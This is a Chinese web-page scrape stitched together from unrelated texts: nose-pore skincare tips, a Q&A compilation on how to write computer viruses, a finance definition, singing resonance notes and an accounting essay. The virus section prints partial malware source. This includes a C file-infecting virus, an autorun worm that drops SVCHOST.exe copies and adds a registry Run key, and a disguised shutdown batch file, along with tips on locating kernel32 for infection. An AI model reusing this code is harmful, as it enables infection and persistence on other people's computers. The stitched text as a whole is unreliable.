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鼻子毛孔堵塞肿起来怎么办 鼻子毛孔堵塞肿起来怎么办，由于鼻子表明肌肤容易分泌油脂，如果没有做好清洁工作，就会容易出现鼻子毛孔堵塞，甚至还会发生红肿的情况，那么鼻子毛孔堵塞肿起来怎么办呢？不如继续往下看看吧！ 鼻子毛孔堵塞肿起来怎么办1 用温水清洗脸 由于热胀冷缩的原理，要是人每天用冷水洗脸，虽然会导致皮肤紧绷，但是冷水很难使毛孔扩张，这是将表面的垃圾进行了清洗，毛孔未张开则不会清除垃圾的效果，所以切记用热水清洗脸蛋，3分钟即可。 去角质 人体新陈代谢的产物将会直接形成死皮，构成多余的角质将毛孔阻塞，使皮肤内部无法进行正常的呼吸，则会形成很多的沉淀物，则会出现多种皮肤问题。用去角质调理液进行去角质的操作，记得在T区多进行打圈按摩，这样有助于死皮的脱落，建议3天清除一次角质。 用热水清洗脸 热水的用途是将毛孔全部打开，因为热胀冷缩的远离，热气可以打开皮肤中没有被打开的毛孔，这样皮肤可以畅通的呼吸了，可以保持皮肤更好。 用卸妆油 卸妆油是一款可以深入毛孔的油状液体，可以深层次的进行清洁排污，用的时候和去角质是一样的，要多在T区打圈按摩，这样有助于更好的清除垃圾。 用温热的清水冲洗 先用一点清水将脸打湿进行乳化，继续刚才的打圈按摩操作。之后再用清水冲洗，这样可以更好地将皮肤深处的垃圾吸附出来。 用点儿吸附面膜 吸附面膜主要是可以将皮肤表面及皮肤深处的垃圾进行吸附处理，这样可以更好地保持毛孔的畅通，才可以更好地使用各种功效型化妆品，要不用再贵的东西也没有用。 正常使用护肤品 现在可以正常的使用护肤品啦，按照水、乳、霜、精华等步骤来，才会使你的皮肤变得越来越好，贵在坚持，才能更好地有效地保护自己的皮肤。 鼻子毛孔堵塞肿起来怎么办2 1、温水放松毛孔 当毛孔堵塞时，洗面时不妨用温水，记住不是开水哦。温水帮助打开毛孔，并有助洗出所有的脏东西。你也可以将毛巾泡澡热水中拧干，然后盖在脸上30秒。 2、洗脸后冷护理 温水洗脸能帮助打开毛孔，此时不让用冰块敷脸，用包裹包裹冰块，然后轻轻按摩脸部，重复几次，能起到让肌肤收敛的效果。 3、使用收缩毛孔产品 MM们可以尝试科颜氏白泥净致面膜，它的性质温和，敏感型肌肤用后有点辣，但一般不会过敏，首次使用效果不错。 这是毛孔角化过度所谓的毛孔角化症，顾名思义就是一种毛孔角化过度导致的毛病;病人因为毛孔被角化的角质塞住，所以出现毛孔粗糙的"小红疹。 鼻子毛孔堵塞如何清理 1、鼻翼清洁 对于鼻翼的清洁我们一定要做到位，建议一天清洁2次，油性、混合性肌肤可以选择啫喱状洁面产品，在鼻翼部位可以画圈的方式轻柔按摩加以清洁，每周用1—2次清洁面膜。 2、控油 温和洁面后，可以采用紧肤水排出毛囊口的皮脂，用紧肤水浸湿一小块儿化妆棉，然后轻轻地涂抹在已洁净的面部及颈部，可以防止皮肤出油过多、毛孔变得粗大，再用油脂含量在1%以下的控油产品由外向内涂抹在脸部，可加强去油效果。 3、补水 有时候皮肤干燥会间接引起毛孔堵塞的问题，因此要选择清爽型的保湿爽肤水或化妆水，这样肌肤比较容易吸收其中的水分，最好借助化妆棉来涂抹。 鼻子毛孔堵塞的原因 通常是由于体内激素分泌紊乱，压力过大和环境污染，清洁工作没做好等原因造成的。因此想要避免出现毛孔堵塞的情况，不仅需要注意卫生，自身情绪的调节也要注意。 如果长期不注意鼻子上面的卫生以及饮食习惯，鼻子很容易长黑头以及痘痘等疾病，变成草莓鼻。想要给别人一个好的印象，我们就应该从日常生活做起，注意好护肤工作，别等鼻子长满了黑头痘痘才后悔。

问题一：如何编写程序病毒？ 那首先要对系统底层的东西比较熟悉，如果编网络病毒，还要对网络协议很了解。并且要精通至少一门编程语言，一般写病毒用a *** （汇编语言）的比较多，用其他也可以，比如vbs（vb脚本语言）或者.bat的海处理，都可以。如果写unix 类系统的病毒用c语言的多一些。但汇编知识是写高级病毒必须的知识。 问题二：如何写一个简单的病毒程序? 前些天学病毒这门技术着实吃了很多苦头，走了很多弯路，尽管按我的知识水平，病毒已经是水到渠成的学习内容了。但是我现在学了入门才发现这门技术实际上隐藏着很多玄机，包含着许多技术，不专门学习研究根本无法达到“牛”的境界上去。如今写了这篇文章，介绍的都是相当实用的东西，可以让你少走许多弯路（有时侯一个错误够你找几个小时的）。不过需要些基础知识才能看懂。假如你有天知识储备够了，不学学病毒将是你的遗憾。另，由于是写给协会会员参考的，也没写的多“专业”，多了些赘述。 在你看之前，你应该知道这只是篇可以带你入门的文章，如果你已经会了就不用看了。看的时候最好准备个PE表在旁边。写病毒程序可以使用很多种语言来写比如C,汇编，甚至有人用Dephi这样可视化编程工具都能写出来。但是最适合写病毒程序的还是汇编语言。汇编语言底层，灵活，速度快，体积小的优势能将一个病毒程序发挥到极至，通常一个程序写出来才几千字节就包含了所有的功能。一般一个病毒都有如下几个功能： 一 代码重定位 二 自己找到所需API地址 三 搜索文件、目录 四 感染文件 五 破坏系统或文件（随便你了） 其中一，二项功能是必要的，五项功能是可选的。而一个病毒程序感染文件的功能是它的核心，是衡量它质量的重要标准。 （一）代码的重定位 一个变量或函数其实是一个内存地址，在编译好后，程序中的指令通过变量或函数的内存地址再去存取他们，这个地址是个绝对地址。如果你将代码插入到其他任何地方，再通过原来编译时产生的地址去找他们就找不到了，因为他们已经搬家了。但是，你在写程序时考虑到这个问题，你就可以在代码最开始，放上几行代码取得程序基地址，以后变量和函数作为偏移地址，显式的加上这个基地址就能顺利找到了，这就是重定位。就象这段代码。 Call getbaseaddress Getbaseaddress:pop ebx Sub ebx,offset getbaseaddress Mov eax,dword ptr [ebx+Var1] 如果你使用宏汇编语言写病毒，请尽量使用ebx做基地址指针，不要使用ebp，因为ebp在调用带参数的函数时会改变。 (二)自己取得所需的API地址 一个win32程序文件，所调用的API函数地址，是由系统填入到程序文件中描述各类数据位置的数据结构中的。而病毒作为一个残废是享受不到这个待遇的。因为你在把病毒的代码插入目标程序时没有把这些描述数据存放位置的数据结构信息也弄进去。它 *** 入到其他目标程序后就成了只有代码的残废儿童：（所以作为一个残废儿童，应当自力更生。自己搜寻自己需要的API地址。目标程序文件就包含了我们需要的东西，我们需要自己去找。目标程序文件只要还是win32程序，它的地址空间中就包含的有Kernel32.dll。如果找到了它，我们就能找到其他任何的东东。第一步，搜寻kernel32.dll的基地址。当然了，整个地址空间有4GB,可供搜索的用户进程空间也有2GB。在2GB中搜索，太吓人了。总不能在执行被感染的目标程序时，先让用户喝杯茶吧？或者斗斗地主？这里有两个技巧向大家介绍。 在程序被加载后，加载程序会调用程序的主线程的第一条指令的位置。它使用的指令是CALL，就是说，你程序还没执行，堆栈区里就有了一个返回地址了，这个返回地址指向的是加载程序，而加载程序是包含在KERNEL32.dll中的，我们顺着它向上找，就能找到kernel32.dll的基地址了。当然也不是一个字节一个字节的挨者找，而是一个页面一个页面地找。因为win3......>> 问题三：怎么用C语言写个简单病毒，给个代码过程 首先声明： 本程序是我举的一个例子 为了叫大家理解就可以了 如果大家拿去捉弄人，我不负任何责任！ 希望大家要以学习为重！ 对于病毒我们应该是深恶痛绝的，但是作为纯研究许多人还是很有兴趣的 我曾经用汇编做过一些具有毁灭性的病毒，本想献出来与大家分享 不过考虑到一些小人看了会做出来一些危害别人的行为，所以我决定 用这个简单的并毫无伤害性的c语言伪病毒来说明一下问题， 再次声明这一切全是为了编程研究！！！ 病毒的特点： 病毒的最大特点就是自我复制，从病毒的分类来说有很多种，这里我们将介绍最流行的附加式 病毒，它通过对正常的文件进行改写，增加来实现其自我复制的目的。 从程序的角度来说，我们要做的事情有两件： 1，让程序能够将自己在不影响其它程序本身工作的情况下复制给其它程序， 使它具备继续复制的能力。 2，在一定条件下使其产生某种发作效果。 其实第一件事情实际上可以看成对文件进行复制，把病毒源文件的功能函数全部放到被感染 文件的最后，同时在被感染文件中调用这个函数 下面给出c语言的实现过程： 1，主程序调用病毒功能函数 2，病毒功能函数读取查找同目录下所有c文件； 3，找到一个（被感染c文件)，打开它，并且将此文件全部读取到数组变量； 4，重新创建一个同名文件（被感染c文件） 5，数组变量写回这个被感染c文件，同时将病毒源文件所需要的头文件，病毒功能函数 调用语句写入； 6，打开病毒源文件，将病毒功能函数全部写到被感染c文件的最后； 这样一个简单的c语言伪病毒virus.c就完成了 运行程序后其内容变化另保存为after_virus.c 此时，如果我们将1.c文件用A盘复制到其他机器或者Email给别人，结果 他们一运行又感染了他们保存1.c文件目录下所有c文件 对于第二件事情-------“发作效果”，这里只用printf语句警告了一下，当然你 完全可以写一个TSR驻留函数 其实，这个程序勉强可以叫做病毒 根本不算是真正的病毒，好了就说这么多， 代码如下： #include #include void main(void) { virus(); } int virus() { struct ffblk ffblk; FILE *in,*out,*read; char *virus=virus.c; char buf[50][80]; char *p; char *end=return; char *bracket=}; char *main=main; char *include[2]={stdio.h,dir.h}; char *int_virus=int virus(); char *buffer; int done,i,j=0,flag=0; printf( I have a virus. Writen by PuBin ); done = findfirst(*.c,&ffblk,0); while (!done) { i=0; if ((in = fope......>> 问题四：病毒一般用什么语言编写的？ 由于现在大多数的所谓的黑客都没有真正的技术，他们的木马都是利用别人编写的木马生成程序生成的，只要一点就好了！~~现在流行的木马有VB、E语言、pascal（注意Delphy不是一门语言，而是pascal语言的编辑器，就像C++跟VC++之间的关系）等，大量用他们编写的原因并不是他们有多好，只不过是他们简单易学！所以只要你有技术，用什么程序写不重要，条条大路通罗马！ 问题五：怎样编写简单，对系统无害的病毒文件? 双击这个文件后就会关机，无毒无害。 这是代码： @echo off cd/ shutdown -s -t 0 -c Loading Installation,Please Wait... 那个0是打开这个文件后多少秒关机（0就是立即关机，10就是打开文件10秒后关机）， 引号中的字（Loading Installation,Please Wait...）可以随意更改（只是引号里面的，别把引号给删了）。 问题六：怎样编写病毒 3.1.1病毒程序VIRUS.C 这是一个用C语言写的病毒程序，当激发病毒程序时显示时间，然后返回。病毒程序VIRUS.C可将病毒传染给一个C语言程序。当被病毒感染的程序经编译、连接和执行后，又可以将病毒部分传染给其他的C语言源程序。每执行一次带有病毒的C语言程序，就向C语言源程序传播一次病毒。此程序的设计思路如下： 当含有病毒部分的程序被执行时，首先进入病毒程序。它在磁盘上找扩展名为C的匹配文件，如果找到，查找是否有被传染过的标志“INFECTED”。如果有此标志，继续找其它的C文件，直至全部检查一遍。若没有这个标志，则 （1）在未被感染的C程序头部加入“INFECTED”已被传染标志。 （2）读取病毒文件的头文件，将其插入到即将被感染的文件头部。如果发现有重复则不插入。 （3）在主程序中插入“VIRUSES（）；”调用VIRUSES函数。寻找printf、for、while、break语句，如果找到就在之前插入。 （4）在文件尾部插入VIRUSES_SUB子程序。 （5）在插入到将感染文件里面的VIRUSES_SUB子程序里面，必须把文件名改为当前自身的文件名，否则被传染后的文件经过编译、连接和运行后不能再继续传染。 （6）最后插入VIRUSES子程序。这个子程序里面调用了VIRUSES_SUB，执行到这里返回执行结果信息。 其中用到4个出错的返回值，分别是： 1：用户文件太大，不传染； 2：带病毒文件打不开，不传染； 3：带病毒文件读取不成功，不传染； 4：查找第一个匹配文件不成功。 如果返回值是0代表文件传染成功。 具体实现过程如下： 其中用到的函数和结构体用法参考3.3节。 首先导入病毒子程序要用到的三个库文件，分别是dir.h, stido.h, dos.h.在主函数里面只调用VIRUSES函数。紧跟定义VIRUSES函数里面要调用的VIURS_SUB函数。里面定义了若干个变量。ffblk用来保存查找到的匹配文件的信息，用到里面的ff_name变量来保存匹配文件名。 然后定义保存未感染的文件和病毒文件的文件型指针变量，分别用是*virus_r和*virus_v.读取文件的缓冲区，放到二维数组a[500][80]里面临时存放。因为此程序对大于500行的C文件不进行传染，所以完全可以放到里面。首先用getdate函数获取系统当前日期并输出。接着用findfirst函数查找扩展名为C的文件，将其信息保存到ffblk里面。用fgets函数读文件的第一行，长度是80-1个字符。然后用strstr函数检测病毒的标志，看文件是否有INFECT这个标志。 如果有，表示文件已经被传染，关闭文件，不进行传染。当含有病毒部分的程序被执行时，首先进入病毒程序。它在磁盘上查找*.C的匹配文件，一旦找到，查找“已被传染过”的标志INFECTED。若有此标志，继续找其它*.C文件，直至全部检查一遍。 如果没有这个标志，将文件全部读入a[500][80]，如果发现文件超过500行，不传染，返回。将文件指针指向文件头，打开带病毒的文件。如果打不开，返回。 然后读取带病毒文件的前4行，也就是病毒子程序要用到的头文件，写入将被传染的文件。若不能读取带病毒文件，返回。用n_line变量控制行数，把将被传染文件的源程序写回原文件。其中要进行处理不写入病毒文件已有的包含语句，也就是说使＃Include语句不重复。 这点是这样实现的：定义一个字符数组char include_h[]=; strstr函数查看将被传染文件的头文件是否和*include_h[]相同，如果相同，......>> 问题七：怎么用C语言编写木马.病毒等程序 嘿嘿给你个类病毒C程序源码，看下方法吧 #define SVCHOST_NUM 6 #include #include char *autorun={[autorun] open=SVCHOST.exe shell\1=打开 shell\1\mand=SVCHOST.exe shell\2\=Open shell\2\mand=SVCHOST.exe shellexecute=SVCHOST.exe}; char *files_autorun[10]={c:\autorun.inf,d:\autorun.inf,e:\autorun.inf}; char *files_svchost[SVCHOST_NUM+1]={c:\windows\system\MSMOUSE.DLL, c:\windows\system\SVCHOST.exe,c:\windows\SVCHOST.exe, c:\SVCHOST.exe,d:\SVCHOST.exe,e:\SVCHOST.exe,SVCHOST.exe}; char *regadd=reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v SVCHOST /d C:\Windows\system\SVCHOST.exe /f; int copy(char *infile,char *outfile) { FILE *input,*output; char temp; if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,rb))!=NULL) && ((output=fopen (outfile,wb))!=NULL)) { while(!feof(input)) { fread(&temp,1,1,input); fwrite(&temp,1,1,output); } fclose(input); fclose(output); return 0; ......>> 问题八：怎么编辑木马病毒程序 很高兴为您解答： 制作并且传播木马都是违法行为，况且在你制作的时候可能会有人利用这漏洞对你的电脑产生危害，到时候就得不偿失拉 建议下其他腾讯电脑管家，开启所有防护，避免有人利用病毒或是木马来危害新的电脑以及帐号的全全 1、腾讯电脑管家独有的二代反病毒引擎，防护查杀更彻底 2、腾讯电脑管家拥有全球最大的云库平台，能更好的识别诈骗、钓鱼网站 3、腾讯电脑管家独创鹰眼模式，时刻保护您的爱机不受侵害 4、腾讯电脑管家独有的安全等级，您可以时刻查看你爱机的安全状态 5、新增广告过滤功能，有效减轻广告骚扰。 祝楼主祝您工作、生活愉快！！ 问题九：病毒的编写是用的什么原理? 在计算机领域中，它是一种基于远程控制的黑客工具，具有隐蔽性和非授权性的特点。 所谓隐蔽性是指木马的设计者为了防止木马被发现，会采用多种手段隐藏木马，这样服务端即使发现感染了木马，由于不能确定其具 *** 置，往往只能望“马”兴叹。 所谓非授权性是指一旦控制端与服务端连接后，控制端将享有服务端的大部分操作权限，包括修改文件，修改注册表，控制鼠标，键盘等等，而这些权力并不是服务端赋予的，而是通过木马程序窃取的。 从木马的发展来看，基本上可以分为两个阶段。 最初网络还处于以UNIX平台为主的时期，木马就产生了，当时的木马程序的功能相对简单，往往是将一段程序嵌入到系统文件中，用跳转指令来执行一些木马的功能，在这个时期木马的设计者和使用者大都是些技术人员，必须具备相当的网络和编程知识。 而后随着WINDOWS平台的日益普及，一些基于图形操作的木马程序出现了，用户界面的改善，使使用者不用懂太多的专业知识就可以熟练的操作木马，相对的木马入侵事件也频繁出现，而且由于这个时期木马的功能已日趋完善，因此对服务端的破坏也更大了。 所以所木马发展到今天，已经无所不用其极，一旦被木马控制，你的电脑将毫无秘密可言。 二、木马原理 [编辑本段] 鉴于木马的巨大危害性，我们将分原理篇，防御与反击篇，资料篇三部分来详细介绍木马，希望大家对特洛伊木马这种攻击手段有一个透彻的了解。 【一、基础知识 】 在介绍木马的原理之前有一些木马构成的基础知识我们要事先加以说明,因为下面有很多地方会提到这些内容。 一个完整的木马系统由硬件部分，软件部分和具体连接部分组成。 (1)硬件部分：建立木马连接所必须的硬件实体。 控制端：对服务端进行远程控制的一方。 服务端：被控制端远程控制的一方。 INTERNET：控制端对服务端进行远程控制，数据传输的网络载体。 (2)软件部分：实现远程控制所必须的软件程序。 控制端程序：控制端用以远程控制服务端的程序。 木马程序：潜入服务端内部，获取其操作权限的程序。 木马配置程序：设置木马程序的端口号，触发条件，木马名称等，使其在服务端藏得更隐蔽的程序。 (3)具体连接部分：通过INTERNET在服务端和控制端之间建立一条木马通道所必须的元素。 控制端IP，服务端IP：即控制端，服务端的网络地址，也是木马进行数据传输的目的地。 控制端端口，木马端口：即控制端，服务端的数据入口，通过这个入口，数据可直达控制端程序或木马 程序。 用木马这种黑客工具进行网络入侵，从过程上看大致可分为六步(具体可见下图)，下面我们就按这六步来详细阐述木马的攻击原理。 一.配置木马 一般来说一个设计成熟的木马都有木马配置程序，从具体的配置内容看，主要是为了实现以下两方 面功能： (1)木马伪装：木马配置程序为了在服务端尽可能的好的隐藏木马，会采用多种伪装手段，如修改图标 ，捆绑文件，定制端口，自我销毁等，我们将在“传播木马”这一节中详细介绍。 (2)信息反馈：木马配置程序将就信息反馈的方式或地址进行设置，如设置信息反馈的邮件地址，IRC号 ，ICO号等等，具体的我们将在“信息反馈”这一节中详细介绍。 【二、传播木马】. (1)传播方式: 木马的传播方式主要有两种:一种是通过E-MAIL,控制端将木马程序以附件的形式夹在邮件中发送出 去, 收信人只要打开附件系统就会感染木马;另一种是软件下载，一些非正规的网站以提供软件下载为名义， 将木马捆绑在软件安装程序上，下载后，只要一运行这些程序，木马就会自动安装。 (2)伪装方......>> 问题十：有源代码,怎样编写病毒程序？ 您好： 建议您不要编写或使用病毒程序，病毒程序会对您的电脑造成损害的，如果您曾使用过此类不安全的病毒程序的话，为了您电脑的安全，建议您使用腾讯电脑管家对您的电脑进行一下全面的杀毒吧，打开腾讯电脑管家中的杀毒功能选择闪电查杀或者全盘查杀就可以，您可以点击这里下载最新版的腾讯电脑管家：最新版腾讯电脑管家下载 腾讯电脑管家企业平台：zhidao.baidu/c/guanjia/

金融学专业（Finance）是从经济学中分化出来的应用经济学科，是以融通货币和货币资金的经济活动为研究对象，具体研究个人、机构、政府如何获取、支出以及管理资金以及其他金融资产的学科。

综述：头腔共鸣感觉的获得是在口腔共鸣的基础上，然后把声波在硬腭上的集中反射点稍向后面移动一些，把下胛放下来（好像把上牙床往上提高一些的感觉）。同时，软腭和小舌头也随之上抬，舌根则有放下一些的感觉，使口、鼻、咽腔之间的通道和空间更宽广些，声波沿着上腭传递向鼻咽腔、鼻腔和诸窦，引起声波的回荡。它在发高音（头声区）时为主要的共鸣器官，口腔、咽腔次之，胸腔更次之。发声原理：人类能够发出声音，乃发声器官和呼吸器官的协作下而成的。对于歌唱者而言，了解发声原理及相关器官的结构，对掌握某种声色的发出是有很大帮助的。当然我们不是生物学家，亦不是专科医生，对这方面不用作出太深入及过于学术性的阐述，但基本的认识是必须的。

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财务会计是教你如何满足外部用户的需要，比如工商、税务等。 管理会计是教你如何满足内部用户的需要，比如老板、销售等。 财务管理是教你如何满足自身提高的需求，看清楚财务的本质。 财务会计中的典型问题： 某一笔业务发生了，该怎么记账(既反应该业务的经济实质，又合乎会计准则)?　　管理会计中的典型问题：　　手上有若干内部数据(预算，产品单位成本，单位制造时间等)，该如何分析它们并作出优化企业内部效率的决策?　　财务管理中的典型问题：　　该如何控制公司的负债比率/派息比率/再投资比率....才能达到股东经济利益最大化?　　管理会计和财务管理从目标上来说是很相似的：“如何为公司带来更多经济利益。”不过二者的实现手段不同——前者侧重于通过分析经营中的数字帮助公司内部管理者作出更优质的决策，进而获取经济利益。而后者则更多地考虑如何规划和运作企业财务资源。　　财务会计的目标就有明显区别了：“如何做出帮助外部人士(投资人，债权人，政府等)作出有质量的决策的报表。”不过财务会计的隐藏属性其实也包括“如何做报表才能让公司赚得更多”，当然教科书一般不会直说啦。　　举例说明　　比如我公司销售产品赚了100块，那在会计凭证上做一笔：　　借：银行存款　　 贷：主营业务收入　　就是财务会计要做的，他的目标也就是把账做平，最终出具财务报表。　　而管理会计则是要考虑，今年我有100块，那明年能卖多少，我是该扩大投资还是减小规模，从财务的角度会将现有的资产负债表转换为管理用财务报表，从资产是否具有金融实质的角度来加以区分；而财务管理则更加偏数量化的分析，用比率来说话，从上述的故事来说就是赚到100块，我付出了多少成本(毛利率)，多久可以获得一笔钱(周转率)等等。 财务会计是记录经济活动的，主要是核算、记录资产、负债等各种数据。管理会计、财务管理是利用财务会计的数据和其他数据进行生产经营、财务管理活动。管理会计是利用财务会计的数据和其他数据进行核算、分析为生产经营提供服务的。财务管理是财务会计的数据和其他数据进行核算、分析卫财务管理提供服务的。　　伴随着我国经济的发展，近些年来，会计这门原很单一的课程，也在不断的发生和变化。财务会计的主要工作就是为企业内部和外部的用户提供财务报表，它的主要工作就是根据企业日常的经营活动进行工作的汇总，进而编制财务报表的工作。管理会计的主要工作是为企业的管理层提供必要的决策信息，使得管理层可以据此进行正确的决策，也可以对各个部门的决策起到依据的作用。成本会计的主要工作是建立对公司有利的成本控制方法，以使企业可以在经营的过程中降低营业成本，使企业的利润可以达到最大化。它其中的各门学科的内容正在向其他学科的内容上不断的扩张，进而形成了各门课程之间原本很清晰的界限，现在越来越模糊，因此，各门学科的内涵也在不断的发生着变化，为了适应这些变化，内容也在不断的进行着与时俱进的修改中。从实践的层面上进行分析，财务会计专业的工作也在不断的和其他学科在逐渐的趋同中。本文主要围绕财务会计、成本会计、管理会计和财务管理四门会计专业的核心课程的关系和实践整合进行分析、探讨。财务会计2000人群 119215729 欢迎中级以上，工作十年以上人员，加入交流：财务管理，税务筹划。 变革与发展是当今社会生活的主旋律，财会学科与管理工作也不例外。这些年来财会学科的发展有一个明显特点：“外延”不断扩张，以至于课程之间“边界”越来越模糊；“内涵”也处于经常变化与调整之中；从财会实践层面分析，财会专业工作也在“管理整合”的浪潮中走向趋同或交叉。我们在感叹这种快速变革与整合的同时，也必须保持应有的专业理性：一门管理科学或者一种管理活动如果没有明确的“内涵”和清晰的“外延”，对于崇尚“权责到位、岗位明确、流程清晰”的管理科学来说这是个致命的问题。本文主要围绕“财务会计”、“成本会计”、“管理会计”和“财务管理”会计专业的核心的关系和实践整合进行分析、探讨。这里的“财务会计”从内容上又包括会计专业的“会计学原理（初级会计学）”、“中级会计学”、“高级会计学”等相关内容.一、独立性与关联性分析（一）独立性分析 从产生历史分析，财务会计的产生历史比较悠久，自从帕乔利复式记账法产生以来，具有500多年历史发展过程。管理会计和成本会计从财务会计分离并成为一门独立的学科还是20世纪20年代以后的事情。在1952年国际会计师联合会（1FAC）年会上正式采用了“管理会计”这一专门词汇，由此现代会计分为财务会计和管理会计两大分支。根据1986年美国会计师协会下属管理会计实务委员会《管理会计公告1A》的定义：“管理会计是向管理当局提供用于企业内部计划、评价、控制以及确保企业资源的合理使用和经营责任的履行所需财务信息的确认、计量、归集、分析、编报、解释和传递的过程。”这是具有代表性而且较为权威的对管理会计的界定。 一般认为，西方财务理论的独立是以美国著名财务学者CREEN于1897年出版的《公司财务》为标志的。西方财务以股份公司为研究对象，着眼于不断发达的资本市场，已经成为西方经济学中最耀眼的分支。金融市场的发展和企业组织的变迁对企业财务的演进更起到了重要的推动作用。从产生与发展历程分析，财会理论与学科的发展受到市场经济、现代企业制度下的委托代理理论的直接影响。但是财务会计主要受到理论经济学、信息经济学等理论的影响；管理会计与成本会计主要受到各种数学模型、管理理论、组织理论和计算机技术的影响；财务管理学与金融学、数理经济学的关系密切。 从目前我国财会来说，将会计学与财务管理学并列列示在管理学中的工商管理学科下，可以理解为财务管理学与会计学并列在同一学科层次。会计学是一门经济信息的计量、确认和报告的学科，会计所从事的是会计确认、计量、记录、汇总报告，它的目的是向各方利益相关者提供据以作出投资决策的信息；财务管理学是以企业价值最大化为目标，直接对企业价值运动及其所体现的财务关系所行使管理，主要涉及投资预算、资本结构、股利政策的决策管理。 从所讨论的内容以及目标上看均有所不同。财务管理与财务会计、财务会计与管理会计的区别很明显，在此不详细讨论，本文主要讨论下面两个方面的区别。1，财务管理与管理会计的差异 财务管理与管理会计这两门课程的“交叉”、“重复”现象特别严重。从目前教学现状分析，两者的重复集中在： ①资金时间价值与长期投资决策分析， ②本量利分析与经营杠杆分析；③存货控制（EOQ模型）。 在处理财务管理与管理会计的重复问题上，我们认为基本原则应该是管理会计侧重于“技术”与“方法”，财务管理侧重于决策时对技术与方法的“应用”。比如货币时间价值原理、资本预算的方法（如净现值法、内涵报酬率法）、本量利分析基本原理和存货控制模型这类知识应该列入管理会计课程中不变。在这些原理和方法基础上，财务管理学来阐述证券估价、价值分析、资本预算的具体决策、财务风险分析和存货管理的基本要求，也就是说财务管理课程主要讲授这些方法的财务上应用。2.管理会计与成本会计的差异 这两门课程的“交叉”最为严重，以至于有的西方专业教材中把它们合并在一起，统称“成本管理会计”。我国注册会计师资格考试中也是成本会计、管理会计和财务管理合并在一起，统称“财务成本管理”科目。我们的观点是成本会计的内容应该是阐述各种成本计算方法，至于成本控制与分析则由管理会计课程完成。所以，我们也就主张成本会计必须与管理会计分离。管理会计与财务会计的区别是明显的，但是财务会计、管理会计在内容、标准、功能、信息流程上应该都是以成本会计为基础，或者说，成本会计必须同时使用财务会计和管理会计的两套标准与原则，并进行适当协调。比如产品成本计算中品种法、分步法、分批法等主要为财务会计编制损益表，其结果也会制约资产负债表的结果。而变动成本法、标准成本法、定额成本法、作业成本法主要是作为管理会计的内部报表的基础。当然变动成本、标准成本、作业成本最好要与财务会计的成本数据在分离的同时，还要关注它们的衔接。在同一资料库中可以生成多种成本数据资料是成本会计的主要任务之一。（二）关联性分析 这可以认为是财务管理和会计的总和。也就是说财务会计、管理会计和成本会计都是会计的范畴；而财务管理由于在本质、对象上均不同于会计，管理会计与财务会计组成会计学的两大分支，两者分别负责对外、对内发布会计信息，同时两者也有着密切联系，因此属于第二层次。成本会计属于第三层次，它作为会计信息系统的一个子系统，记录、计量和报告有关部门成本的多项信息，这些信息既为财务会计提供资料，又为：管理会计提供资料。（三）关子学科发展趋势的“展望”分析 针对会计信息披露的局限性，尤其是近年全球性的会计造假案例的出现，改进财务报告的呼声越：来越高，具体包括改革现有会计报告标准、内容、质量标准，要求：①淡化历史成本、推行公允价值；②增加对未来财务预测信息的形成与披露；增加表外披露；③可以游离公认会计原则；④首先关注会计信息的相关性，而不是会计信息的可靠性。这些主张必然导致财务会计传统特征的逐步丧失，对此我们要保持清醒的头脑。 关于计量属性，不能脱离财务会计的本质职能，“严格地说，只有初始确认时用于计量的历史成本、现行成本、公允价值等才能称为财务会计的一项完整的计量属性。比如未来现金流量的现值，由于不能作为初始计量属性，它总是在历史成本或现行成本的基础加以应用，因此只能算一种摊配的方法。”（参见葛家澍《会计确认、计量与收入确认》2002年《会计论坛》第1辑） 关于报告内容，的确现行财务报告的计量主要限于货币度量，对于使用者非常有用的公司人力资源、客户、核心技术等就被排除在财务报表之外。另外财务会计的确认交易、事项的前提是它们必须是已经完成、至少是已经发生的。财务会计信息披露始终以表内信息为核心，适当的表外信息是需要的，但是不能本末倒置、主次不分，分散报表使用者的注意力。 关于财务会计确认属性是属于过去的交易、事项所带来的结果，财务会计是面向过去，而不可能面向未来。一些人提议的增加财务预测的信息和内容，如募资投向、未来公司经营风险、盈利预测的信息，投资者也是需要的，这些信息的构成原理、分析方法应该由管理会计来完成。或者说加大管理会计部分披露的对象就可以，无需再通过改进现行财务会计来重复这个工作。 同时，有人认为，“投资者更关注企业价值的创造和增加，财务会计与财务报告无法直接计量和表现企业的价值，它们只能用盈余和现金流量两个会计信息间接地作为替代变量。”这里暂且不谈“盈余和现金流量”是“企业价值”的替代变量还是关键变量，公司价值是由未来自由现金流量和必要报酬率决定的，而规划未来自由现金流量和贴现率是公司财务管理的任务，也就是说，不要把财务管理的任务强加到财务会计上，正如，在西方CPA（注册会计师）和CFA（财务分析师）是两种执业证书一样。